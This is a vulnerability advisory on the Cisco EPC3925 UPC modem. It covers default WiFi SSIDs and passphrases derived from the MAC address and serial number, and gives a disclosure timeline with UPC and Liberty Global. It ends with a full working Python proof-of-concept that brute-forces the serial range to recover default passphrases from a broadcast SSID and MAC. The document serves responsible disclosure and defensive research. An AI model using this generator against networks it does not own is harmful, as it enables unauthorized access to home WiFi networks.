Cisco EPC3925 UPC modem/router default passphrase vulnerabilities
-----------------------------------------------------------------

Platforms / Firmware confirmed affected:
- Cisco EPC3925, ESIP-12-v302r125573-131230c_upc

Vulnerabilities
---------------
Default SSID and passphrase can be calculated
The default SSID and passphrase are derived from the MAC address and the
DOCSIS serial number. Since the MAC address of the device is broadcasted
via WiFi and the typical serial number is within the range 200.000.000
and 260.000.000, the default password can be brute-forced within minutes.

Timeline
--------
- 2015.07.30: We sent some new issues affecting the Ubee router and
other findings in Technicolor TC7200 and Cisco EPC3925 devices to UPC
- Between 2015.07.31 and 08.12 there were several e-mail and phone
communications between technical persons from Liberty Global to clarify
the findings
- 2015.08.19: UPC sent out advisory emails to its end users to change
the default WiFi passphrase
- 2016.01.27: UPC Magyarorszag send out a repeated warning to its end
users about the importance of the change of the default passphrases.
- 2016.02.16: Face to face meeting with Liberty Global security
personnel in Amsterdam headquarters
- 2016.02.18: A proposal was sent to Liberty Global suggesting a
wardriving experiment in Budapest, Hungary to measure the rate of end
users who are still using the default passphrases.

POC
---
POC script is available to demonstrate the default SSID and passphrase
generation [2].

Recommendations
---------------
Since only the ISP can update the firmware, we can recommend for users
to change the WiFi passphrase.

Credits
-------
This vulnerability was discovered and researched by Gergely Eberhardt
from SEARCH-LAB Ltd. (www.search-lab.hu)

References
[1] https://www.search-lab.hu/advisories/secadv-20150720
[2] https://github.com/ebux/Cable-modems/tree/master/Cisco


cisco_psk.py:

#
# Cisco EPC3925 default passphrase generator POC
#   Search-lab ltd.
#
# Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)
#
# Usage:
#    cisco_psk.py SSID, MAC
# Result:
#    default serial, SSID, default PSK
#
# More than one result is possible!
#
# Example (based on https://www.upc.hu/content/dam/www-upc-hu/img/cc-old/wifi_datas.png)
#   cisco_psk.py 538420 e4:48:c7:88:7f:58
# result:
#   200324188 -> AADENWIB
#   201461780 -> QFMNTAOQ
#   204455244 -> KEFWMZIT
#   ...
#   241989474 -> EJMNNGBY  !!!
#   ...

import sys
import binascii
import hashlib
import struct

def getVal(v0):
    v0 = ord(v0)
    return ((((v0<<1)+v0)<<3)+v0)>>6

def genSSID_PSK(mac, serial):
    m = hashlib.md5('%s-%s'%(mac,serial)).digest()
    ssid = '%02u%02u%02u'%(getVal(m[0]), getVal(m[1]), getVal(m[2]))
    psk = ''
    for i in range(8):
        v0 = ord(m[3+i])
        psk += chr(0x41 + (((((v0<<1)+v0)<<2)+v0)>>7))
    return (ssid, psk)

def genSSID(mac, serial):
    s = '%s-%s'%(mac,serial)
    mres = hashlib.md5(s).digest()
    v0 = ord(mres[0])
    v1 = ((((v0<<1)+v0)<<3)+v0)>>6
    v0 = ord(mres[1])
    v2 = ((((v0<<1)+v0)<<3)+v0)>>6
    v0 = ord(mres[2])
    v3 = ((((v0<<1)+v0)<<3)+v0)>>6
    ssid = '%02u%02u%02u'%(v1, v2, v3)

    psk = ''
    for i in range(8):
        v0 = ord(mres[3+i])
        v3 = ((((v0<<1)+v0)<<2)+v0)>>7
        psk += chr(v3+0x41)

    return (ssid, psk)

if (len(sys.argv) < 3):
    print 'Usage: cisco_psk.py SSID MAC'
    print '  Example: cisco_psk.py xxxxxx bc:c8:10:xx:xx:xx'
    sys.exit(0)

test_ssid = sys.argv[1]
mac = sys.argv[2]

start = 200000000
for i in xrange(60000000):
    serial = '%d'%(i+start)
    (ssid, psk) = genSSID(mac, serial)
    if (ssid == test_ssid):
        print '%s -> %s'%(serial, psk)